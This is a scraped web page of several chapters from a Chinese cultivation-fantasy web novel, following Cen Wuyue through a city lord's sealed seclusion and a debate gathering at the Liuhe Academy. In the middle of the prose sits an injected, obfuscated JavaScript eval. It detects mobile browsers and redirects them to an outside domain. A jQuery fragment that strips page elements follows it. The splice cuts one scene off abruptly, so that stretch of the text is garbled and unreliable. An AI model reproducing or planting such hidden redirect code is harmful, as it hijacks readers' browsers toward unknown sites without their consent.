见到岑无月熟门熟路地进来,桑青毫不意外,只是目光往她身边空处瞥了一下:“云渊守今日有事?” 岑无月稍作回忆:“有人老远赶来找他帮忙,好像说是感染业障过深,求他救人。” 桑青了然:“那除了他确实没什么人能治。” 岑无月好奇道:“医修治不了吗?” “——正好城主唤我,一道去吧。”桑青起身,边说边侧脸示意岑无月跟上自己,“医修在这方面治疗的作用很有限,毕竟这不是伤,也不是病。身体强健的凡人稍稍在恶念中待一会儿也不会有事,顶多头疼发热几天。修士能比凡人多停留、多承受强烈的恶念,但若是超过身体的负荷,就同寻死无异了。哪怕是体质特殊的净庭山弟子,他们的身体所能承受的循环也有上限。” 岑无月发出好学的声音:“听城主说奚逐云很厉害。” “确实。”桑青认可,又道,“但他也一定有上限,否则早将所有业渊都变回原样了。” 岑无月突发奇想:“如果有很多个奚逐云的话,说不定就可以做到了?” 桑青没她这么乐观:“除非这世间不再有活人,否则灵脉会一直被污染。” 两人说了几句便抵达千机房,桑青立在门外唤了一声“城主”,房门很快打开。 面色仍旧苍白的辞青盘坐在阵法内,静了几息后才缓缓睁开双眼看向二人,道:“进来说。” 她的声音仍旧十分嘶哑,重伤未愈的样子。 “城主,您的伤还没好呀?”岑无月边说着边熟门熟路地将《手记之七》放回架上,又找出《手记第八》带走。 “找你们来正是要说此事,”辞青道,“桑青,这是我列好的名单。” 桑青上前接过玉简,低头待命。 “你可提拔这些人,并筹划迁城事宜。”辞青说。 桑青不解地抬头。 辞青用一个眼神便制住她的话头:“我这次要闭死关,你从今日起便是正式的代城主。如果三年后我仍未出关,你便立刻下令举城搬迁。” 闭死关——也就是不成功便成仁,修士们在遇到难题时退无可退的最后一个选择。 桑青还没说话,岑无月先开口:“城主的伤势不能让奚逐云来看看吗?” 辞青眼也没抬:“我的病他治不了。” “是什么病?”岑无月追问。 话说到这里,桑青似乎已经明白了一切,她沉默着避开了岑无月的视线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15349094|166203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是城主魂印。”辞青又举起第二件东西,弹指送到桑青手中,“你有它,才能在城中执行城主权柄。若有弟子违反城规,你要按律处罚,不可手软,否则以你的实力未必能镇压得住。” 桑青收下紫色的方印:“是,城主。” “尽快融合,迟恐生变。”辞青叮嘱一句,“好了,你出去,我有话和岑无月说。” 桑青踟蹰片刻,看一眼岑无月,犹豫着唤道:“城主……” 辞青的声音变冷:“速去。” “……是。” 桑青带上门离开后,岑无月回身将门内侧的阵法激活。 似乎还带着血腥气的阵法再一次将千机房包裹其中。 岑无月看着屋顶,啧啧称赞道:“听说那晚的厮杀,一点声音都没有漏出去。直到桑青师姐带着几位长老的尸块出去,大家才知道发生了什么事情。” 辞青不语。 “我听大家讨论说,城主一定是有什么厉害的秘密武器,电光石火间将四名叛变长老斩于马下,动作太快,所以他们连惨叫的机会都没有。”岑无月笑吟吟地说,“大家都很好奇城主的秘密武器是什么。” 辞青还是不作声。 “那天我去地牢探望三长老的时候,三长老说他们没有找到契偃,也觉得没有被余铮抢走,”岑无月真的很好奇,她凑到辞青面前,趴在放满偃甲零件的矮几上,抬头去找辞青低垂的眼睛,“城主的契偃应该根本没有丢吧?那被藏在哪里啦?私底下悄悄告诉我行不行?” 岑无月的视野中,辞青的瞳仁微微颤动。 两人对视数息。 说时迟那时快,毫无预兆地,一道凌厉至极、无法用语言描述的瑰丽剑气自房内出现,刺向岑无月的眉心。 一剑霜寒十四州。 这一招,岑无月并没有真的见过。 但她不必见过也能知道这是谁的出手。 来人只出了一剑便猝然停下,并未追击。 这一剑如同乍亮的光,出时几乎照亮整个房间、叫人避无可避,但止时又像是夜色里流淌的溪水,静谧得叫人心生依赖。 即使早有准备、提前预判、侧身闪避,岑无月额际还是留下一条被剑气所伤的伤痕。 她抬手擦了一下溅到眼角的血,反倒因为一切如同事先所料那样顺利发展而很高兴地笑了起来,回首去看出这一剑杀招的人。 执剑的那人正面无表情地看着他。 “唉,”岑无月叹了一口气,但又笑眼弯弯地朝他抱怨道,“好痛啊,小师兄。” 你怎么可以打我呢。 50-60 第51章 第 51 章 岑无月此行来六合书院, 碰见谢还是巧合,引得苏艺桐在后面追是一石二鸟,能见到太上无相真君是顺便, 最重要的当然是千嶂夕。 千嶂夕不认识周妲, 二人的行迹也从未交叠过。 但如果这两人之间真的毫无关系, 星玄度又为什么会给出千嶂夕的名字? 哎呀, 当时是不是应该多问星玄度几句详细的呢? 岑无月这么想着, 侧头看了一眼身旁的千嶂夕。 千嶂夕在书院内地位超然, 大多数人只是远远看一眼, 识出她后便自行避让出道路。 岑无月开口,问了一个早该问的问题:“为何特地邀请我来?” 千嶂夕没有立刻回答,而是示意岑无月看向某处。 岑无月扭头去看,只见一片辽阔的道场。 道场平坦无比,空无一人,上面只摆了两个蒲团。 “这是论道台。”千嶂夕道。 岑无月虽然没见过, 但也听过六合书院论道台的名字。 论道, 即是两名、多名修士之间互相交流、辩论自身道心的行为。 友好些的,那是交流。 不友好些的,那就是不动手的厮杀。 论道到了极致,败者若是道心动摇、破碎的,和死没什么区别。 若问天下什么势力最擅长论道,那便是六合书院。 而天下最有名的论道之地,就是六合书院的论道台。 只有受到六合书院邀请的人才能坐于其上、侃侃而谈,而台下听众要是幸运的, 便能从中领悟一丝大能之道、获益于己。 普通修士连坐上那两个蒲团的资格都没有。 “天门前, 我败给了你,”千嶂夕说道, “但我仍不知自己败给了什么道。” 岑无月眨了眨眼,将视线从蒲团上收回,看向面色坚定的千嶂夕。 “——你可愿与我论道?”千嶂夕缓缓地问。 与之相反,岑无月答得却很快:“不行。” 千嶂夕皱了皱眉,又问:“现在不行,还是永远都不行?” “或许永远都不行。”岑无月笑眯眯地避重就轻道,“况且,我更想听他人论道。” 公开论道几乎不可能作假,而一个人的道心又与行事息息相关。 岑无月要是公开与千嶂夕论道,等辩到深处时,每句话都有可能透露出不该透露的信息,叫一些本该被蒙在鼓里的当事人反应过来。 那是万万不能的。 “……”千嶂夕吐出一口气,显得有些遗憾,“那我只能另选他人了。” 岑无月突发奇想地提了一个人选:“谢还怎么样?” 千嶂夕从鼻子里哼笑一声,睨向岑无月:“想看我的热闹还是谢还的?——谢还可不会参加论道,此事本就不符合他的道。他要是哪天真上这论道台,我倒要担心他是不是生出心魔、道心破碎了。” “那你会选谁?”岑无月问。 “原本是还想问星玄度的,”千嶂夕懒懒道,“结果你们一个两个都不行,那我只好接老对手的战书了。” 岑无月想了一会儿这个老对手是谁,然后从记忆里翻出一个名字:“周临岐?” “是他。”千嶂夕不以为意地点了点头。 其实,“道”之高低与修为之高低倒也不一定对应。 有时候道虽高,但若是被修为低微之人点破细微破绽处,道心该动摇一样会动摇。 因此,周临岐虽然修为不如千嶂夕,心境……可能也有些距离,但也不能说他论道就必定会败给千嶂夕。 “对了,”千嶂夕道,“我听说你失踪的二师姐也姓周?总不会和周家有关系?” “我二师姐是无名无姓的弃婴,捡回来后,随师父姓的周。” 千嶂夕哼笑:“那不该叫向妲?”看起来对周五的真实身份仍然耿耿于怀。 岑无月认真道:“那不太好听吧?” “谁和你辩这个?”千嶂夕道,“说到周家,你若不想惹上事,离他们远些。” 岑无月还记得自己曾经听过的世家八卦。 周家内部实力至上,修为高的便能为所欲为,修为低的只能忍气吞声,是个依照动物法则行事的家族。 “你我都在天阶上胜过周临岐,是他们的眼中钉。对我,他们一来打不过,二来又顾忌六合书院,最多动动嘴皮子,对你嘛……”千嶂夕没说完,只是意味深长地看了一眼岑无月。 岑无月也低头看了看弱小无助还没有背景的自己。 唉,真是人善被人欺。 —— 这世上的事真是说什么来什么。 千嶂夕前一天刚刚提醒过岑无月要离周家人远一些,岑无月第二天就碰见了好几个周家子弟。 他们一行人在街上那简直是招摇过市,周围不想惹麻烦的人都绕着他们走。 岑无月也想绕,但才绕到一半,就感觉到自己被几道神识遥遥先后锁定了。 她转脸去看,发现那几个嬉皮笑脸的周家人确实正看着自己的方向。 其中一个人甚至已经化作一道青影朝她飞驰而来,劲风之中,一点寒意陡然爆发! 在被击中之前,岑无月侧身一步便躲开了。 动手之人修为并不高。 但或许是仗着自己背后还有同行者,居然二话不说,继续步步抢先、接连发起攻击。 岑无月点足跳跃避让了几次,还没想好到底怎么处理这几个周家人,便突然听见有人在耳旁“咦”了一声。 接着,一道身影慢悠悠地从后跃的岑无月右侧与她擦身而过、伸出手掌、像是扇蚊子似的将卷来的青影拍了出去。 青影顿时吐血暴退,飞出老远,惊得其他周家人纷纷…… 呃。 其他周家人倒也没去管那个倒飞出去的倒霉蛋,只是都收起了脸上恶意与戏谑,变得严肃紧张起来。 岑无月站定脚步,有些担心地看着倒霉蛋远去的方向:“你不会跟打魔修一样直接把他打成灰了吧?” 那周家肯定得把这仇算她头上。 谢还?谁敢跟谢还算账啊?一家子人绑起来都未必够他杀的。 如果真是岑无月动的手,那也就算了。可眼下动手的是谢还,她若是背这口黑锅就有点冤了。 此时,轻描淡写拍了那一巴掌的谢还回过头来,一张嘴又是让岑无月颇感熟悉的牛头不对马嘴:“你这也太弱了吧?连刚刚那个都打不赢,打外面那个魔修更不可能了啊?” 岑无月觉得也有必要纠正一下谢还心中的误解,她指着周家倒霉蛋飞走的方向:“刚刚那个还是能打赢的。” 谢还连连摇头,伸手指另一个方向:“刚刚那样的,打一百个也不够外面那个。” 岑无月看他两眼,直白道:“你昨天去杀她了吧?怎么,没打赢?” “谁说没打赢?”谢还的胜负欲立刻占据一切思考,大声强调,“只是她太会藏,每次我还在千里之外她就立刻掉头跑得没影,才这么多年都没杀掉。” “哦,”岑无月认真听完,点点头做出总结,“没打赢。” 谢还果然立刻跳脚:“怎么可能打不赢?我要是真想杀她,千里之外都能杀,不过是这千里中间的——” “又是你,谢还。”赶到的千嶂夕无情地打断这段辩驳,“你在六合书院里动手时能不能收一收力?” 不是“能不能别动手”,而是“能不能收一下手”,对这次事件的处理态度已经很是鲜明。 谢还扭头看千嶂夕一眼,很是纳闷地问:“什么意思?这还不叫收?我要是全力出手,你六合书院现在还能立在这?” 太嚣张了,真是当着东道主的面都不说委婉话啊。 问题是,他还不是在阴阳怪气,是真诚向千嶂夕发问,是真的觉得自己刚刚出手很收力。 岑无月叹为观止。 以谢还的嘴和行事,他能在修真界活到现在,那实在只有一个原因:别人都打不过他。 就连没受伤的周家人也很明白这个打落门牙往肚子里咽的道理——他们也不和谢还理论,趁谢还注意力转移,一行人掉头就走。 谢还热情地喊他们停下:“别急啊,不是很想打架吗?干脆一起上?我来陪你们打嘛!” 周家人哪敢一起上,头也不回,脚下运转灵力,一个个脚底抹油,像是在比赛逃命。 谢还哈哈大笑着追在他们后面,时不时弹指扔几道攻击,精准地砸他们的后脚跟,满是戏耍。 一行人就这样一路轰轰烈烈地离开了岑无月的视线范围。 事到如今,岑无月仍然觉得自己在谢还眼里不是修士。 但比起玩具,可能更确切的形容是小动物。 谢还现在的行为,就像是有人正巧看见他人在虐待小动物,于是勃然大怒、挺身而出、主持公道。 这叫岑无月想起来,师父曾经说过一句发人深省的话:一个人和另一个人之间最深厚的友谊,都未必能比得上一个人和一条狗之间的友谊。 “说起来,”千嶂夕不知何时落到岑无月身边,和她一起看着谢还远去,意味深长地道,“我曾经听过一种修无情道的方法:先有情、再无情。两名无情道修结为道侣,要先落入情爱、尝其因果、再跳出其外,最后看究竟谁能先破对方的道。” 岑无月露出好奇的表情:“那和杀亲证道有何不同?” “我说的那也是论道的一种,还是一生只能进行一次的论道,且有人真这么做成功飞升过,”千嶂夕哂笑,“岂能和你说的混为一谈?杀亲证道的,哪怕有一人成功飞升过吗?” 那好像是没有。 但不妨碍至今都有傻子在坚持不懈地走这条道。 可是千嶂夕说的先有情、后无情道,也不适合岑无月。 这世间任何一条已有道,都不是岑无月要走的道。 第52章 第 52 章 六合书院虽以“书院”为名, 却足有一座城大小,自成一方,内部只供书院的师生、管事、下人以及得到邀请的客人自由行动。 书院外围有几座接壤的城镇, 各有名字, 仰仗六合书院的威名保自身平安, 同书院有生意往来, 也赚一些经过客商的过路费。 严格来说, 六合书院并不负责周围城镇的安全。 不过这些近在咫尺的城镇若是遭到威胁, 那相当于打到家门口, 六合书院当然也不可能坐视不理。 岑无月入城第四天,便听说有魔修杀上门来。 直接打到六合书院周边城镇,那得是个大魔头啊。 岑无月还以为苏艺桐居然勇到这个地步,抄近路赶去一看,却是个不认识的。 岑无月至今为止见过的魔修,不论是否保留理智、保留多少理智, 都是以杀证道这一路。 但其实还有一种魔修来源更为常见:多情道。 许多年以前, 其实世间不止一条修行路。 只是不知道从什么时候开始,修士们逐渐发现,唯有无情道才能飞升。 至于别的道,运气好些的,中道崩殂;运气不好的,诸如有情道,则十有八九会入魔。 只要修的不是无情道,哪怕修为高到飞升那一步, 也一定会死于飞升之中。 渐渐地, 情之一字便成为了修士们避之不及的祸物。 不过即使在“唯无情道可飞升”被奉为圭臬的当下,仍有一些不信邪的修士冒大不韪修行有情道, 只因觉得“人非草木孰能无情”。 他们的下场一般都不太好。 修为越高,越不好。 这名闯入六合书院的魔修并未像那些要以杀证道的魔修一般大开杀戒,而是跌跌撞撞走在街上。 可即便她并无伤人之意,周围往来的修士、凡人却都对她避之不及,或飞檐走壁或双足狂奔远离。 只因她浑身缠绕着那些,几乎已经实质化的紫色雾气。 “竟沉沦至此……”一旁有人感叹道。 岑无月扭头一看,是个熟人。 ——六合书院弟子,在翊麟城和岑无月一起叩天门的其中一人,名为叶秋宁。 “那雾气就是她的‘情’吗?”岑无月问。 “是啊,你今日是第一次见吗?”叶秋宁示意岑无月也往后站一些,一边向她解释道,“有情道修不仅不‘绝情’,甚至还反其道而行之,深入感受、理解七情六欲,称赞其美好,再享受其中。他们不仅容易堕魔,一旦堕入魔道后还会无法控制地将体内情毒散出,祸害四方——还好此处地带开阔,倒不至于立刻引发灾祸。” 魔修似乎并不知道自己身在何处、周围有何人,只是如同一具提线木偶般沿着街道踉跄前行,口中含混不清地念着一个名字。 因为没人敢靠近,因此似乎也没人听到她念的是什么名字。 一些六合书院弟子已闻讯飞快赶到,沿街戒严,随时准备阻止魔修发狂伤人。 只不过他们也只是戒备,并不出手,与魔修保持着安全的距离,似乎在等待时机。 “我也得过去了,你自己小心些,那些雾气要是进入体内,还挺难缠的。”叶秋宁叮嘱岑无月一句,也加入了其他同门当中。 岑无月站在原地细细感受片刻。 周围的灵气确实产生了变化。 越往那魔修身边,变化越是强烈。 岑无月正要用神识往魔修身旁探,后脑勺却被人用手指戳了一下。 她脑袋一低,刚要放出去的神识也停住了。 扭头一看,正是谢还。 碰见这种魔修他倒是不急着上去直接把对方灰飞烟灭了,而是津津有味地和岑无月站在一起看热闹。 “还想放神识过去?”谢还不仅没收手,还接连多戳了几下,像是警告,“真不怕被污染啊你?” “有点好奇。”想也瞒不过他,岑无月坦白道,“我还是第一次见入魔的有情道修。” 谢还终于停了手,他看着步伐不稳的魔修背影,长叹道:“也是可怜人。” “怎么说?”岑无月问。 “……”向来有什么说什么的谢还居然没有立刻回答,而是仰天思考半晌,才低头道,“你问这么多干什么,想转有情道?” “那倒不是,我是一定要修无情道的。”岑无月说。 “哦,这么坚定?” 谢还来劲儿了,噌地低头看岑无月,笑嘻嘻地说,“但有时候太死心眼反而容易钻牛角尖。” “但看这几千年来,不修无情道的都没有好下场,不是吗?”岑无月示意魔修远去的背影。 “嗯……”谢还想了会儿,模棱两可地答道,“是不是呢。” —— 失魂落魄的魔修在街上游荡许久,最后是被一个出乎意料的人拿下的。 六合书院的弟子原本是在等人,结果夫子、千嶂夕等人还没赶到,前来听论道会的太上无相真君正好路过。 真君只一弹指便将那修为高超的魔修放倒,又封住她浑身散逸的情毒。 六合书院众人慌忙道过谢,才将魔修带走。 “然后呢?”岑无月问谢还。 “什么然后?”谢还似乎有些心不在焉。 “然后会如何对待那名魔修?” 谢还“嗯”了一声,半天没接下去。 究竟是怎么做到神游天外但也看起来完全不可能打赢的? 岑无月想了想,又问:“你和那位打的话,谁能赢?” “上一次是平手啦……”谢还下意识答了,才回过神来。 他像是终于把注意力全部收了回来,略微弯腰去近看岑无月的眼睛。 岑无月不闪不避,甚至还回送了一个灿烂笑容。 “总感觉刚才那个问题不应该告诉你答案,”谢还说着说着又思考起来,“但是为什么呢?” “可能是因为你预感到下一次打的时候会输?”岑无月热心地向他提供了一个可能性。 谢还的思考状态一瞬便结束于这个挑衅的问句:“不可能!如果有下次,一定是我赢!” “我支持你!”岑无月给他加油鼓劲,“不过世上绝大多数人应该不这么想。” 谢还撇撇嘴:“不管你有什么打算,都不用想了——不会有下次,因为哪怕赢也是胜之不武。” “怎么,那位受伤了?”岑无月问。 看刚刚轻描淡写出手、弹指间发出雷霆一击的样子可不像。 “还问?”谢还又戳岑无月额头,边戳边大声说,“虽然我是知道很多事情,但可不会都告诉不知道在谋划什么的你。星玄度都心盲了,谁能算到你知道这些之后会做什么?” 这倒无所谓,你光说漏嘴的部分就足够多了。 岑无月好脾气地任由谢还戳,权当是付了情报费。 反正从前她还是一只小跳蛛的时候,师父也喜欢这么戳她。 “——你前面问的那个倒是可以告诉你,”谢还戳够了,才不紧不慢地说道,“看魔修清醒后的情况如何,如果危害大就杀掉,不大的话会抹掉记忆与修为之后将其放走。” 他说得云淡风轻,好像只是谈论今日天气。 但考虑到谢还此前的所作所为,他可能一直就是照这一套标准行事的。 不过,这到底是他自己想出来的准则,还是别人告诉他的呢。 想到魔修浑身缠绕的雾气,岑无月又问:“那接触到情毒的人会怎么样?” “少的话无所谓,”谢还想了想,不太确定地说,“他们好像会用坐忘阵或者清心丸。” 看起来他本人完全没这个烦恼。 “多的话呢?” 谢还开玩笑似的问:“怎么,你想试试?” 岑无月确实想要试试,但她没回答。 谢还也没有等她回答,而是道:“除非你有净庭山弟子的本事,不然最好别试。我有预感,如果你被影响堕魔,会是必须马上杀掉的类型。” 岑无月诧异地指指自己:“我吗?” 她觉得自己危害性一点也不大。 “是啊,为什么呢。”谢还也很认真地研究起岑无月来,“明明看起来很弱,肯定在什么地方藏了一手吧。” 明明是他自己提出来的,还自答自问。 沉思半晌后,谢还突然得出一个惊人的结论:“其实现在杀掉你最方便,未来的事情都不会发生。” 岑无月缓缓眨了眨眼,扭头去看他。 两人旁边的小贩露出惊恐的表情,迅速又熟练地开始收摊。 “那你要动手吗?”岑无月问。 谢还又想了一息,很随便地挥手:“算了,到时候再动手也来得及,杀人总是很容易的。” 这句话仿佛同时还传达着另一层意思。 ——救人却总是很难的。 …… 翌日,岑无月在六合书院外的一处小城镇中找到了前一日的那名魔修。 她穿着平常的衣服,满脸茫然,仿佛刚刚出生在世间的婴儿,与周围一切都格格不入。 那么,看来是“危害不大”。 岑无月在旁看了半晌,走上前去。 全靠岑无月这张天真无害的面孔,女子才没有立刻逃走,而只是向后缩了一下,警惕地问:“你想干什么?” “——‘白令先’。”岑无月友好地问,“我想问问,你听过这个名字吗?” 女子的神情微微恍惚,但只是十分短暂的一瞬。 如果不是岑无月早有预备地一直盯着她,恐怕也会错过那个瞬间。 “不,”女子笃定地摇头,“我没听过这个名字。” 岑无月颔首,留下一盒桃酥,笑道:“多谢了。” 在这位曾经的多情道修的不安注视下,岑无月缓步离开了此处。 ——“我没听过这个名字”? 昨天她游魂般想闯入六合书院时,口中还在一直念叨这个名字呢。 你猜怎么着? 岑无月正巧知道,这位白令先此时还真的正在六合书院内。 第53章 第 53 章 白令先入书院时, 其实也曾引起过一番议论。 只是论道会与叩天门不同,后者多是尚未成名的后起之秀前去参加、一叩闻名于天下,而前者则多是修为深厚、心境高远之人才可参加。 就好比千嶂夕纵然是天纵奇才, 去叩天门时是纡尊降贵、城主亲请, 可若要上论道台, 她却只是一名晚辈, 在论道众人中只能算是资历最浅的几人之一。 所以白令先虽然在年轻一辈中名气不小, 但此时来六合书院, 混在一群来头都很大的修士里, 并不算太出众。 岑无月这几日被神出鬼没的谢还带着看了大大小小不少名人,对那白令先只是走马观花地一扫而过。 谢还同样没把白令先放在眼里,甚至连名字都没说全,只介绍“姓白的”。 所以若不是那位喃喃嘟囔着白令先名字的魔修出现,岑无月倒未必会这么早注意到他。 注意到后,她便多花了些时间关注对方。 白令先的样貌不错。 这倒不是岑无月自己观察出来的, 她仍旧辨认不出人的美丑。只是听旁人称赞什么“玉树临风”“见之难忘”, 又看见不少平时见了修士得绕着走的凡人女子遇见他时都悄悄探头多看几眼。 白令先的人缘也不错。 虽不是出自顶尖世家,但却左右逢源,进入六合书院以来,日日都在赴不同朋友的邀约,今天杨家明天周家的,或论道或切磋,什么局都有,人人都谈得来。 白令先的修为同样不错。 这种不错是指他比绝大多数同辈修士要强, 不过又难望顶尖那几位的项背。 整体来说, 似乎挺普通的。 与那周临岐差不多,或许只是生得好看一些的周临岐。 “姓白的有什么好看?”又一次突然从岑无月身边冒出来的谢还顺着她的目光远眺片刻, 纳闷地问,“你不会是好奇他和千嶂夕的旧事?” 抓住线索的岑无月立刻就不困了:“什么旧事?” “哦,你不知道。”谢还笑嘻嘻地道,“你可知白令先修的什么道?” 哦,还吊胃口。 岑无月纯良地眨巴着眼睛回答他一个九成九没错的答案:“无情道。” “……”谢还的笑容垮了一瞬,又戳岑无月的额头报复,“他修的是先有情、再无情的无情道,听过没有?” 这个岑无月还真听过——碰巧就是从千嶂夕那里。 难道当时千嶂夕提这话时,就在暗指白令先? 听了谢还这一句,岑无月再去看白令先时,顿时觉得他嘴角那点总是挂着的笑意看起来不太无情道了。 她顺口问身旁百无聊赖的谢还:“那他在哪一步了?” 谢还张了张嘴,又闭上,阴阳怪气地说:“真把我当不收钱的情报源?” 岑无月见怪不怪,侧了下身体又歪过头,停在他前面:“可以了吧?戳完快说。” 笑话,岑无月为了得到自己想要的东西什么都能做,被戳几下脑袋就能知道内幕简直再划算不过。 谢还沉默半晌:“……突然不太想戳了。” 岑无月瞥他一眼,重新站直:“不戳也快说。” 谢还唉声叹气:“还能怎么,一看不就知道了。” 这就是谢还才能说出来的话。 就好像从来也没人能看出岑无月眼睛的异样,谢还只是碰巧路过,一眼就发现了不对劲。 不过岑无月也有自己的观察判断法。 她看着正同友人交谈的白令先,猜道:“恐怕他还在‘入情’?” 所以他才会努力地对身旁一切展现出令人如沐春风的态度。 若是已经在“出情”,为人处世理当更为冷漠。 “对,你这一半视力还挺好用的嘛。”谢还很是热情地给岑无月鼓掌。 啪啪的掌声引得白令先偏头看了过来。 其实岑无月往日观察他都很小心,不会引起他的注意。 但今日加上一个简直是肆无忌惮的谢还,岑无月便也没那么谨慎,看得光明正大。 被两个人一起盯着看了这么久,白令先当然不可能毫无察觉,大概只是此时终于找到合适的机会转头看过来,朝谢还点头示意。 他甚至还很礼貌地也朝岑无月也点了一下头。 谢还仍在对白令先的道心啧啧称奇:“哎呀,修道而已,真不知道弄得这么复杂干什么。看,这第一步他都走不完。” 岑无月很确定白令先听见了谢还的评价,不过他淡然置之,装作没听见,倒是显得很有肚量。 “他原先还想邀请千嶂夕和他一起,”谢还指指点点,“结果被拒绝,失败了。” 岑无月觉得白令先和千嶂夕的关系听起来有点像有情道。 听说有情道修之间也不是随随便便就能看对眼的,但因为人数颇少,挑选的空间便也很小。 只是一旦两名有情道修确认道侣关系,便永远不会再离心,一方死去,另一方必会殉情。 “真有意思。”岑无月笑眯眯道。 “这还有意思?”谢还大惊失色,“你在六合书院竟然无聊到这个地步?要不要跟我出去打几个魔修消遣一下?” 好像那个每次都说魔修没新意然后一巴掌拍死的那个人不是他似的。 岑无月一口拒绝谢还:“论道会马上开始,我要留在六合书院。” “论道会那种东西,你听了也不会有用的啦。”谢还绞尽脑汁地想出一个可能说动岑无月的理由,“——苏艺桐,我带你去打苏艺桐玩怎么样?” 岑无月匪夷所思地扭头看一眼谢还,不知道他哪里想出这昏招:“但凡有你在的地方,苏艺桐都不会靠近的。” 苏艺桐是想杀岑无月,又不是想找死。 看苏艺桐每每在谢还几百里外就掉头逃跑这一行为便知。 但凡谢还愿意,他绝对能在苏艺桐杀岑无月之前就出手终结苏艺桐的性命。 之后等时机成熟引苏艺桐上门时,岑无月还得先把谢还从自己身边弄走。 说实话,岑无月也不知道谢还究竟为什么对她这么感兴趣。 这倒真不是她计划内的一环。 “……”对于这个问题,谢还苦思冥想许久,才道,“你很特殊。整个修真界,只有你和我一样。而别人都与你我不一样。” 他说是说完了,但好像又把自己给说糊涂了,不太确定地陷入第二次沉思。 但岑无月倒是懂了他的意思。 她与谢还确实有相似之处。 但也截然不同。 —— 虽然那天谢还卖了个关子,但其实白令先曾邀请千嶂夕与自己一同修道的消息并不是什么天大的秘密。 许多人都知道。 比如叶秋宁甚至还能算得上半个当事人。 “这事儿很有名,我当时正好就在附近。”叶秋宁横眉冷目地说道,“真不知道他脑子里想的是什么,居然敢开口邀请嶂夕师姐。他话一出口,就被嶂夕师姐打出去了!我看得清清楚楚!” “那他还邀请过别人吗?”岑无月好奇发问。 叶秋宁闻言居然怒了:“天下还有何人能与我嶂夕师姐媲美?!” 那应该就是没有了。 至少就算有,也是毫不声张地进行。 “不过嘛,被嶂夕师姐打了之后,他有许久没露面,怕是也觉得丢脸吧。”叶秋宁又说。 这段不露面的时间就很适合暗度陈仓。 可白令先如今仍在“入情”,这似乎又对不上号。 叶秋宁仍在慷慨陈词:“若不是走投无路或瞎了眼,谁会和他同修那没几个人钻研的破情道——我们六合书院上下修的可全是光明洞彻道!” 光明洞彻。 这道叶秋宁也给岑无月解释过。 他非常详细地如此说明:“若你是一凡人,你会爱上一棵树、一块石头、一粒尘埃吗?当你勘破世间万物的本质,知其然又知其所以然,他人于你便是树、石头、尘埃,你便能跳脱六合之外观这世间,而不被其中任何牵动心思——这便是光明洞彻。” 所以但凡六合书院的弟子,必定都非常好学、钻研本质。 若不是拜在向思雨门下,岑无月觉得自己说不定能修这个。 毕竟她是蜘蛛,看人都差不多。 就像众人都说星玄度容貌极盛,岑无月看不明白;大家都说白令先玉树芝兰,岑无月还是看不明白。 唉,大家都长差不多嘛。 她真诚地问叶秋宁“白令先和星玄度谁更好看”时,叶秋宁沉默半晌,居然反问:“难道……你也很讨厌白令先?” 岑无月听懂了他这一反问内含的意思——这两人没法比。 不过她真没有讨厌白令先。 岑无月其实从来也没有特别讨厌过什么人。 即使是为师姐师兄复仇,也只是以其人之道还治其人之身,一报还一报而已。 她只分“想做的事情”和“不想做的事情”。 而如今想做的事情,就是弄清楚白令先和千嶂夕之间的关系。 思及此,岑无月抬头往空中看去。 下一瞬,千嶂夕的身影如同一片云雾般自空中掠过。 叶秋宁也看见了,他感慨道:“师姐可真忙碌。” 六合书院的夫子们并不多管事,像千嶂夕这样的学生便拥有很大的权力。眼前正当盛会,作为书院的代表人物,千嶂夕自然是忙得很。 岑无月又扭头去看街角的一处小楼。 楼边,白令先也与其他人一样望着空中的千嶂夕,嘴边仍旧带着谦和的笑意,眼神却很专注,像是入了神。 叶秋宁跟着岑无月的视线瞅一眼,瞧见白令先的神情,立刻露出警惕之色:“这厮果然还没死心!” “对嶂夕师姐?”岑无月问。 “还能有别的?”叶秋宁狠狠翻白眼,翻完又哼一声,“我看他也不过是想借师姐以‘痴情’来入情罢了。可要把自己也骗过去,哪有这么容易?” 这可不好说。 岑无月心想。 我前段时间在净庭山刚见过一个把自己骗了的。 第54章 第 54 章 白令先的事情知道得差不多了, 岑无月好奇地转而去观察千嶂夕。 看千嶂夕嘛,就没有看白令先那么多顾忌了,看得非常光明正大, 毫不遮掩。 千嶂夕只忍三次就忍不住了, 横眉冷目地问岑无月:“到底要干什么?” 岑无月眨眨眼睛, 很友好地把手里的烤虾片递给她, 邀请道:“吃吗?” 千嶂夕看都不看一眼:“除了你, 六合书院里还有第二个没辟谷的?” “我辟谷了, ”岑无月有理有据地说, “另外谢还也吃。” “……”千嶂夕面无表情道,“你俩真是天生一对。但这与我无关,我只想知道你天天跟着我是想要干什么?” “谢还给我说了你和白令先的八卦,”岑无月一本正经地说,“叶秋宁又说白令先对你还没死心,我来保护你。” 千嶂夕勾了一下嘴角:“我需要人保护?” 岑无月挺起胸膛, 发出酸言酸语:“我保护的不是你的人, 是你的心。” 千嶂夕古怪地看她一眼:“去哪里学来这种话。” “前几天不是来了个有情道堕魔的魔修吗?”岑无月笑眯眯道,“谢还又给我细说了一下有情道。” 两个人很是纸上谈兵地交流了一番对情话的见解。 “他是什么都敢和你说,”千嶂夕不满地说,“真不怕给你带坏了——白令先现在是六合书院的客人,我身为书院弟子,负责接待他罢了。” 千嶂夕说是这么说,但她对白令先的态度显然和叶秋宁说的“大怒,直接一掌打出去”有所出入。 这是叫岑无月最好奇的地方。 白令先又来找千嶂夕了。 他做人很是周到, 甚至还和跟在一旁的岑无月也打了声招呼。 千嶂夕作为同时认识两人的东道主, 尽礼节地简单介绍双方:“白令先,这是岑无月。岑无月, 这是白令先。” 白令先含笑道:“我认识,前几月刚刚于翊麟城叩开天门的那位。” 岑无月道:“我也认识,修破情道的那位。” 千嶂夕警告地看了岑无月一眼。 白令先似乎不以为意,他甚至还点了点头:“不错,正是在下。” “好修吗?”岑无月好奇地问他,“一个人能不能修?还是一定得找人一起?入情之后,会不会有回不去的风险?” 